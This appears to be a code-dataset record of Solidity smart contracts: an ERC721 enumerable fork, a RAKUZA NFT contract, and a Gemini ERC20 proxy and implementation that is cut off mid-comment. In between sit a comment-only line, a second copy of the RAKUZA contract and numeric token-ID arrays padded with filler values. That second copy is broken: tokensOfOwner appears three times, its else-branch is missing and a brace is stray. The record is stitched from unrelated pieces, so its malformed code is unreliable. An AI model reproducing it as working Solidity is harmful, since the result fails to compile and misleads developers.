(bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: ERC721EnumerableSimple.sol pragma solidity ^0.8.0; /** * @dev This is a fork of openzeppelin ERC721Enumerable. It is gas-optimizated for NFT collection * with sequential token IDs. The updated part includes: * - replaced the array `_allToken` with a simple uint `_totalSupply`, * - updated the functions `totalSupply` and `_beforeTokenTransfer`. */ abstract contract ERC721EnumerableSimple is ERC721, IERC721Enumerable { // user => tokenId[] mapping(address => mapping(uint => uint)) private _ownedTokens; // tokenId => index of _ownedTokens[user] (used when changing token ownership) mapping(uint => uint) private _ownedTokensIndex; // current total amount of token minted uint private _totalSupply; /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /// @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /// @dev See {IERC721Enumerable-totalSupply}. function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /// @dev See {IERC721Enumerable-tokenByIndex}. function tokenByIndex(uint index) public view virtual override returns (uint) { require(index < ERC721EnumerableSimple.totalSupply(), "ERC721Enumerable: global index out of bounds"); return index; } /// @dev Hook that is called before any token transfer. This includes minting function _beforeTokenTransfer( address from, address to, uint tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { assert(tokenId == _totalSupply); // Ensure token is minted sequentially _totalSupply += 1; } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { // do nothing } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint tokenId) private { uint length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev See {ERC721Enumerable-_removeTokenFromOwnerEnumeration}. * @param from address representing the previous owner of the given token ID * @param tokenId uint ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint lastTokenIndex = ERC721.balanceOf(from) - 1; uint tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } } // File: RAKUZA.sol pragma solidity ^0.8.0; contract RAKUZA is ERC721EnumerableSimple, Ownable { // Maximum amount of NFTToken in existance. Ever. // uint public constant MAX_NFTTOKEN_SUPPLY = 10000; // The provenance hash of all NFTToken. (Root hash of all NFTToken hashes concatenated) string public constant METADATA_PROVENANCE_HASH = "F5E8F9752F537EB428B0DC3A3A0F6B3646417E6FBD79AEC314D19D41AC48AF25"; // Bsae URI of NFTToken's metadata string private baseURI; constructor() ERC721("RAKUZA", "RAKUZA") {} function tokensOfOwner(address _owner) external view returns (uint[] memory) { uint tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint[](0); // Return an empty array } else { uint[] memory result = new uint[](tokenCount); for (uint index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function mint() public onlyOwner { uint _totalSupply = totalSupply(); // require(_totalSupply <= MAX_NFTTOKEN_SUPPLY, "Exceeds maximum NFTToken supply"); _safeMint(msg.sender, _totalSupply); } function _baseURI() internal view override returns (string memory) { return baseURI; } function setBaseURI(string memory __baseURI) public onlyOwner { baseURI = __baseURI; } function burn(uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _burn(tokenId); } }
Maximum amount of NFTToken in existance. Ever. uint public constant MAX_NFTTOKEN_SUPPLY = 10000; The provenance hash of all NFTToken. (Root hash of all NFTToken hashes concatenated) Bsae URI of NFTToken's metadata
contract RAKUZA is ERC721EnumerableSimple, Ownable { string public constant METADATA_PROVENANCE_HASH = "F5E8F9752F537EB428B0DC3A3A0F6B3646417E6FBD79AEC314D19D41AC48AF25"; string private baseURI; constructor() ERC721("RAKUZA", "RAKUZA") {} function tokensOfOwner(address _owner) external view returns (uint[] memory) { uint tokenCount = balanceOf(_owner); if (tokenCount == 0) { uint[] memory result = new uint[](tokenCount); for (uint index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function tokensOfOwner(address _owner) external view returns (uint[] memory) { uint tokenCount = balanceOf(_owner); if (tokenCount == 0) { uint[] memory result = new uint[](tokenCount); for (uint index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } } else { function tokensOfOwner(address _owner) external view returns (uint[] memory) { uint tokenCount = balanceOf(_owner); if (tokenCount == 0) { uint[] memory result = new uint[](tokenCount); for (uint index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function mint() public onlyOwner { uint _totalSupply = totalSupply(); _safeMint(msg.sender, _totalSupply); } function _baseURI() internal view override returns (string memory) { return baseURI; } function setBaseURI(string memory __baseURI) public onlyOwner { baseURI = __baseURI; } function burn(uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _burn(tokenId); } }
10,193,687
[ 1, 4625, 348, 7953, 560, 30, 225, 18848, 3844, 434, 423, 4464, 1345, 316, 1005, 1359, 18, 512, 502, 18, 2254, 1071, 5381, 4552, 67, 26473, 23187, 67, 13272, 23893, 273, 12619, 31, 1021, 24185, 1651, 434, 777, 423, 4464, 1345, 18, 261, 2375, 1651, 434, 777, 423, 4464, 1345, 9869, 22080, 13, 605, 87, 8906, 3699, 434, 423, 4464, 1345, 1807, 1982, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 534, 14607, 57, 62, 37, 353, 4232, 39, 27, 5340, 3572, 25121, 5784, 16, 14223, 6914, 288, 203, 203, 565, 533, 1071, 5381, 24175, 67, 3373, 58, 1157, 4722, 67, 15920, 273, 203, 3639, 315, 42, 25, 41, 28, 42, 29, 5877, 22, 42, 25, 6418, 29258, 24, 6030, 38, 20, 5528, 23, 37, 23, 37, 20, 42, 26, 38, 23, 1105, 1105, 4033, 41, 26, 42, 18096, 7235, 37, 7228, 23, 3461, 40, 3657, 40, 9803, 2226, 8875, 6799, 2947, 14432, 203, 203, 565, 533, 3238, 1026, 3098, 31, 203, 203, 203, 203, 565, 3885, 1435, 4232, 39, 27, 5340, 2932, 2849, 47, 57, 62, 37, 3113, 315, 2849, 47, 57, 62, 37, 7923, 2618, 203, 565, 445, 2430, 951, 5541, 12, 2867, 389, 8443, 13, 3903, 1476, 1135, 261, 11890, 8526, 3778, 13, 288, 203, 3639, 2254, 1147, 1380, 273, 11013, 951, 24899, 8443, 1769, 203, 3639, 309, 261, 2316, 1380, 422, 374, 13, 288, 203, 5411, 2254, 8526, 3778, 563, 273, 394, 2254, 8526, 12, 2316, 1380, 1769, 203, 5411, 364, 261, 11890, 770, 273, 374, 31, 770, 411, 1147, 1380, 31, 770, 27245, 288, 203, 7734, 563, 63, 1615, 65, 273, 1147, 951, 5541, 21268, 24899, 8443, 16, 770, 1769, 203, 5411, 289, 203, 5411, 327, 563, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 2430, 951, 5541, 12, 2867, 389, 8443, 13, 3903, 1476, 1135, 261, 11890, 8526, 3778, 13, 288, 203, 3639, 2254, 1147, 1380, 273, 11013, 951, 24899, 8443, 1769, 203, 3639, 309, 261, 2316, 1380, 422, 374, 13, 288, 203, 5411, 2254, 8526, 3778, 563, 273, 394, 2254, 8526, 12, 2316, 1380, 1769, 203, 5411, 364, 261, 11890, 770, 273, 374, 31, 770, 411, 1147, 1380, 31, 770, 27245, 288, 203, 7734, 563, 63, 1615, 65, 273, 1147, 951, 5541, 21268, 24899, 8443, 16, 770, 1769, 203, 5411, 289, 203, 5411, 327, 563, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 3639, 289, 469, 288, 203, 565, 445, 2430, 951, 5541, 12, 2867, 389, 8443, 13, 3903, 1476, 1135, 261, 11890, 8526, 3778, 13, 288, 203, 3639, 2254, 1147, 1380, 273, 11013, 951, 24899, 8443, 1769, 203, 3639, 309, 261, 2316, 1380, 422, 374, 13, 288, 203, 5411, 2254, 8526, 3778, 563, 273, 394, 2254, 8526, 12, 2316, 1380, 1769, 203, 5411, 364, 261, 11890, 770, 273, 374, 31, 770, 411, 1147, 1380, 31, 770, 27245, 288, 203, 7734, 563, 63, 1615, 65, 273, 1147, 951, 5541, 21268, 24899, 8443, 16, 770, 1769, 203, 5411, 289, 203, 5411, 327, 563, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 312, 474, 1435, 1071, 1338, 5541, 288, 203, 3639, 2254, 389, 4963, 3088, 1283, 273, 2078, 3088, 1283, 5621, 203, 203, 203, 3639, 389, 4626, 49, 474, 12, 3576, 18, 15330, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 1969, 3098, 1435, 2713, 1476, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 1026, 3098, 31, 203, 565, 289, 203, 203, 565, 445, 26435, 3098, 12, 1080, 3778, 1001, 1969, 3098, 13, 1071, 1338, 5541, 288, 203, 3639, 1026, 3098, 273, 1001, 1969, 3098, 31, 203, 565, 289, 203, 203, 565, 445, 18305, 12, 11890, 5034, 1147, 548, 13, 1071, 288, 203, 3639, 2583, 24899, 291, 31639, 1162, 5541, 12, 3576, 18, 15330, 16, 1147, 548, 10019, 203, 3639, 389, 70, 321, 12, 2316, 548, 1769, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; /** @title A contract for generating unique identifiers * * @notice A contract that provides a identifier generation scheme, * guaranteeing uniqueness across all contracts that inherit from it, * as well as unpredictability of future identifiers. * * @dev This contract is intended to be inherited by any contract that * implements the callback software pattern for cooperative custodianship. * * @author Gemini Trust Company, LLC */ contract LockRequestable { // MEMBERS /// @notice the count of all invocations of `generateLockId`. uint256 public lockRequestCount; // CONSTRUCTOR function LockRequestable() public { lockRequestCount = 0; } // FUNCTIONS /** @notice Returns a fresh unique identifier. * * @dev the generation scheme uses three components. * First, the blockhash of the previous block. * Second, the deployed address. * Third, the next value of the counter. * This ensure that identifiers are unique across all contracts * following this scheme, and that future identifiers are * unpredictable. * * @return a 32-byte unique identifier. */ function generateLockId() internal returns (bytes32 lockId) { return keccak256(block.blockhash(block.number - 1), address(this), ++lockRequestCount); } } /** @title A contract to inherit upgradeable custodianship. * * @notice A contract that provides re-usable code for upgradeable * custodianship. That custodian may be an account or another contract. * * @dev This contract is intended to be inherited by any contract * requiring a custodian to control some aspect of its functionality. * This contract provides the mechanism for that custodianship to be * passed from one custodian to the next. * * @author Gemini Trust Company, LLC */ contract CustodianUpgradeable is LockRequestable { // TYPES /// @dev The struct type for pending custodian changes. struct CustodianChangeRequest { address proposedNew; } // MEMBERS /// @dev The address of the account or contract that acts as the custodian. address public custodian; /// @dev The map of lock ids to pending custodian changes. mapping (bytes32 => CustodianChangeRequest) public custodianChangeReqs; // CONSTRUCTOR function CustodianUpgradeable(address _custodian) LockRequestable() public { custodian = _custodian; } // MODIFIERS modifier onlyCustodian { require(msg.sender == custodian); _; } // PUBLIC FUNCTIONS // (UPGRADE) /** @notice Requests a change of the custodian associated with this contract. * * @dev Returns a unique lock id associated with the request. * Anyone can call this function, but confirming the request is authorized * by the custodian. * * @param _proposedCustodian The address of the new custodian. * @return lockId A unique identifier for this request. */ function requestCustodianChange(address _proposedCustodian) public returns (bytes32 lockId) { require(_proposedCustodian != address(0)); lockId = generateLockId(); custodianChangeReqs[lockId] = CustodianChangeRequest({ proposedNew: _proposedCustodian }); emit CustodianChangeRequested(lockId, msg.sender, _proposedCustodian); } /** @notice Confirms a pending change of the custodian associated with this contract. * * @dev When called by the current custodian with a lock id associated with a * pending custodian change, the `address custodian` member will be updated with the * requested address. * * @param _lockId The identifier of a pending change request. */ function confirmCustodianChange(bytes32 _lockId) public onlyCustodian { custodian = getCustodianChangeReq(_lockId); delete custodianChangeReqs[_lockId]; emit CustodianChangeConfirmed(_lockId, custodian); } // PRIVATE FUNCTIONS function getCustodianChangeReq(bytes32 _lockId) private view returns (address _proposedNew) { CustodianChangeRequest storage changeRequest = custodianChangeReqs[_lockId]; // reject ‘null’ results from the map lookup // this can only be the case if an unknown `_lockId` is received require(changeRequest.proposedNew != 0); return changeRequest.proposedNew; } /// @dev Emitted by successful `requestCustodianChange` calls. event CustodianChangeRequested( bytes32 _lockId, address _msgSender, address _proposedCustodian ); /// @dev Emitted by successful `confirmCustodianChange` calls. event CustodianChangeConfirmed(bytes32 _lockId, address _newCustodian); } /** @title A contract to inherit upgradeable token implementations. * * @notice A contract that provides re-usable code for upgradeable * token implementations. It itself inherits from `CustodianUpgradable` * as the upgrade process is controlled by the custodian. * * @dev This contract is intended to be inherited by any contract * requiring a reference to the active token implementation, either * to delegate calls to it, or authorize calls from it. This contract * provides the mechanism for that implementation to be be replaced, * which constitutes an implementation upgrade. * * @author Gemini Trust Company, LLC */ contract ERC20ImplUpgradeable is CustodianUpgradeable { // TYPES /// @dev The struct type for pending implementation changes. struct ImplChangeRequest { address proposedNew; } // MEMBERS // @dev The reference to the active token implementation. ERC20Impl public erc20Impl; /// @dev The map of lock ids to pending implementation changes. mapping (bytes32 => ImplChangeRequest) public implChangeReqs; // CONSTRUCTOR function ERC20ImplUpgradeable(address _custodian) CustodianUpgradeable(_custodian) public { erc20Impl = ERC20Impl(0x0); } // MODIFIERS modifier onlyImpl { require(msg.sender == address(erc20Impl)); _; } // PUBLIC FUNCTIONS // (UPGRADE) /** @notice Requests a change of the active implementation associated * with this contract. * * @dev Returns a unique lock id associated with the request. * Anyone can call this function, but confirming the request is authorized * by the custodian. * * @param _proposedImpl The address of the new active implementation. * @return lockId A unique identifier for this request. */ function requestImplChange(address _proposedImpl) public returns (bytes32 lockId) { require(_proposedImpl != address(0)); lockId = generateLockId(); implChangeReqs[lockId] = ImplChangeRequest({ proposedNew: _proposedImpl }); emit ImplChangeRequested(lockId, msg.sender, _proposedImpl); } /** @notice Confirms a pending change of the active implementation * associated with this contract. * * @dev When called by the custodian with a lock id associated with a * pending change, the `ERC20Impl erc20Impl` member will be updated * with the requested address. * * @param _lockId The identifier of a pending change request. */ function confirmImplChange(bytes32 _lockId) public onlyCustodian { erc20Impl = getImplChangeReq(_lockId); delete implChangeReqs[_lockId]; emit ImplChangeConfirmed(_lockId, address(erc20Impl)); } // PRIVATE FUNCTIONS function getImplChangeReq(bytes32 _lockId) private view returns (ERC20Impl _proposedNew) { ImplChangeRequest storage changeRequest = implChangeReqs[_lockId]; // reject ‘null’ results from the map lookup // this can only be the case if an unknown `_lockId` is received require(changeRequest.proposedNew != address(0)); return ERC20Impl(changeRequest.proposedNew); } /// @dev Emitted by successful `requestImplChange` calls. event ImplChangeRequested( bytes32 _lockId, address _msgSender, address _proposedImpl ); /// @dev Emitted by successful `confirmImplChange` calls. event ImplChangeConfirmed(bytes32 _lockId, address _newImpl); } contract ERC20Interface { // METHODS // NOTE: // public getter functions are not currently recognised as an // implementation of the matching abstract function by the compiler. // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#name // function name() public view returns (string); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#symbol // function symbol() public view returns (string); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#totalsupply // function decimals() public view returns (uint8); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#totalsupply function totalSupply() public view returns (uint256); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#balanceof function balanceOf(address _owner) public view returns (uint256 balance); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer function transfer(address _to, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transferfrom function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve function approve(address _spender, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#allowance function allowance(address _owner, address _spender) public view returns (uint256 remaining); // EVENTS // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1 event Transfer(address indexed _from, address indexed _to, uint256 _value); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approval event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** @title Public interface to ERC20 compliant token. * * @notice This contract is a permanent entry point to an ERC20 compliant * system of contracts. * * @dev This contract contains no business logic and instead * delegates to an instance of ERC20Impl. This contract also has no storage * that constitutes the operational state of the token. This contract is * upgradeable in the sense that the `custodian` can update the * `erc20Impl` address, thus redirecting the delegation of business logic. * The `custodian` is also authorized to pass custodianship. * * @author Gemini Trust Company, LLC */ contract ERC20Proxy is ERC20Interface, ERC20ImplUpgradeable { // MEMBERS /// @notice Returns the name of the token. string public name; /// @notice Returns the symbol of the token. string public symbol; /// @notice Returns the number of decimals the token uses. uint8 public decimals; // CONSTRUCTOR function ERC20Proxy( string _name, string _symbol, uint8 _decimals, address _custodian ) ERC20ImplUpgradeable(_custodian) public { name = _name; symbol = _symbol; decimals = _decimals; } // PUBLIC FUNCTIONS // (ERC20Interface) /** @notice Returns the total token supply. * * @return the total token supply. */ function totalSupply() public view returns (uint256) { return erc20Impl.totalSupply(); } /** @notice Returns the account balance of another account with address * `_owner`. * * @return balance the balance of account with address `_owner`. */ function balanceOf(address _owner) public view returns (uint256 balance) { return erc20Impl.balanceOf(_owner); } /** @dev Internal use only. */ function emitTransfer(address _from, address _to, uint256 _value) public onlyImpl { emit Transfer(_from, _to, _value); } /** @notice Transfers `_value` amount of tokens to address `_to`. * * @dev Will fire the `Transfer` event. Will revert if the `_from` * account balance does not have enough tokens to spend. * * @return success true if transfer completes. */ function transfer(address _to, uint256 _value) public returns (bool success) { return erc20Impl.transferWithSender(msg.sender, _to, _value); } /** @notice Transfers `_value` amount of tokens from address `_from` * to address `_to`. * * @dev Will fire the `Transfer` event. Will revert unless the `_from` * account has deliberately authorized the sender of the message * via some mechanism. * * @return success true if transfer completes. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { return erc20Impl.transferFromWithSender(msg.sender, _from, _to, _value); } /** @dev Internal use only. */ function emitApproval(address _owner, address _spender, uint256 _value) public onlyImpl { emit Approval(_owner, _spender, _value); } /** @notice Allows `_spender` to withdraw from your account multiple times, * up to the `_value` amount. If this function is called again it * overwrites the current allowance with _value. * * @dev Will fire the `Approval` event. * * @return success true if approval completes. */ function approve(address _spender, uint256 _value) public returns (bool success) { return erc20Impl.approveWithSender(msg.sender, _spender, _value); } /** @notice Increases the amount `_spender` is allowed to withdraw from * your account. * This function is implemented to avoid the race condition in standard * ERC20 contracts surrounding the `approve` method. * * @dev Will fire the `Approval` event. This function should be used instead of * `approve`. * * @return success true if approval completes. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { return erc20Impl.increaseApprovalWithSender(msg.sender, _spender, _addedValue); } /** @notice Decreases the amount `_spender` is allowed to withdraw from * your account. This function is implemented to avoid the race * condition in standard ERC20 contracts surrounding the `approve` method. * * @dev Will fire the `Approval` event. This function should be used * instead of `approve`. * * @return success true if approval completes. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { return erc20Impl.decreaseApprovalWithSender(msg.sender, _spender, _subtractedValue); } /** @notice Returns how much `_spender` is currently allowed to spend from * `_owner`'s balance. * * @return remaining the remaining allowance. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return erc20Impl.allowance(_owner, _spender); } } /** @title ERC20 compliant token intermediary contract holding core logic. * * @notice This contract serves as an intermediary between the exposed ERC20 * interface in ERC20Proxy and the store of balances in ERC20Store. This * contract contains core logic that the proxy can delegate to * and that the store is called by. * * @dev This contract contains the core logic to implement the * ERC20 specification as well as several extensions. * 1. Changes to the token supply. * 2. Batched transfers. * 3. Relative changes to spending approvals. * 4. Delegated transfer control ('sweeping'). * * @author Gemini Trust Company, LLC */ contract ERC20Impl is CustodianUpgradeable { // TYPES /// @dev The struct type for pending increases to the token supply (print). struct PendingPrint { address receiver; uint256 value; } // MEMBERS /// @dev The reference to the proxy. ERC20Proxy public erc20Proxy; /// @dev The reference to the store. ERC20Store public erc20Store; /// @dev The sole authorized caller of delegated transfer control ('sweeping'). address public sweeper; /** @dev The static message to be signed by an external account that * signifies their permission to forward their balance to any arbitrary * address. This is used to consolidate the control of all accounts * backed by a shared keychain into the control of a single key. * Initialized as the concatenation of the address of this contract * and the word "sweep". This concatenation is done to prevent a replay * attack in a subsequent contract, where the sweep message could * potentially be replayed to re-enable sweeping ability. */ bytes32 public sweepMsg; /** @dev The mapping that stores whether the address in question has * enabled sweeping its contents to another account or not. * If an address maps to "true", it has already enabled sweeping, * and thus does not need to re-sign the `sweepMsg` to enact the sweep. */ mapping (address => bool) public sweptSet; /// @dev The map of lock ids to pending token increases. mapping (bytes32 => PendingPrint) public pendingPrintMap; // CONSTRUCTOR function ERC20Impl( address _erc20Proxy, address _erc20Store, address _custodian, address _sweeper ) CustodianUpgradeable(_custodian) public { require(_sweeper != 0); erc20Proxy = ERC20Proxy(_erc20Proxy); erc20Store = ERC20Store(_erc20Store); sweeper = _sweeper; sweepMsg = keccak256(address(this), "sweep"); } // MODIFIERS modifier onlyProxy { require(msg.sender == address(erc20Proxy)); _; } modifier onlySweeper { require(msg.sender == sweeper); _; } /** @notice Core logic of the ERC20 `approve` function. * * @dev This function can only be called by the referenced proxy, * which has an `approve` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: approvals for the zero address (unspendable) are disallowed. * * @param _sender The address initiating the approval in proxy. */ function approveWithSender( address _sender, address _spender, uint256 _value ) public onlyProxy returns (bool success) { require(_spender != address(0)); // disallow unspendable approvals erc20Store.setAllowance(_sender, _spender, _value); erc20Proxy.emitApproval(_sender, _spender, _value); return true; } /** @notice Core logic of the `increaseApproval` function. * * @dev This function can only be called by the referenced proxy, * which has an `increaseApproval` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: approvals for the zero address (unspendable) are disallowed. * * @param _sender The address initiating the approval. */ function increaseApprovalWithSender( address _sender, address _spender, uint256 _addedValue ) public onlyProxy returns (bool success) { require(_spender != address(0)); // disallow unspendable approvals uint256 currentAllowance = erc20Store.allowed(_sender, _spender); uint256 newAllowance = currentAllowance + _addedValue; require(newAllowance >= currentAllowance); erc20Store.setAllowance(_sender, _spender, newAllowance); erc20Proxy.emitApproval(_sender, _spender, newAllowance); return true; } /** @notice Core logic of the `decreaseApproval` function. * * @dev This function can only be called by the referenced proxy, * which has a `decreaseApproval` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: approvals for the zero address (unspendable) are disallowed. * * @param _sender The address initiating the approval. */ function decreaseApprovalWithSender( address _sender, address _spender, uint256 _subtractedValue ) public onlyProxy returns (bool success) { require(_spender != address(0)); // disallow unspendable approvals uint256 currentAllowance = erc20Store.allowed(_sender, _spender); uint256 newAllowance = currentAllowance - _subtractedValue; require(newAllowance <= currentAllowance); erc20Store.setAllowance(_sender, _spender, newAllowance); erc20Proxy.emitApproval(_sender, _spender, newAllowance); return true; } /** @notice Requests an increase in the token supply, with the newly created * tokens to be added to the balance of the specified account. * * @dev Returns a unique lock id associated with the request. * Anyone can call this function, but confirming the request is authorized * by the custodian. * NOTE: printing to the zero address is disallowed. * * @param _receiver The receiving address of the print, if confirmed. * @param _value The number of tokens to add to the total supply and the * balance of the receiving address, if confirmed. * * @return lockId A unique identifier for this request. */ function requestPrint(address _receiver, uint256 _value) public returns (bytes32 lockId) { require(_receiver != address(0)); lockId = generateLockId(); pendingPrintMap[lockId] = PendingPrint({ receiver: _receiver, value: _value }); emit PrintingLocked(lockId, _receiver, _value); } /** @notice Confirms a pending increase in the token supply. * * @dev When called by the custodian with a lock id associated with a * pending increase, the amount requested to be printed in the print request * is printed to the receiving address specified in that same request. * NOTE: this function will not execute any print that would overflow the * total supply, but it will not revert either. * * @param _lockId The identifier of a 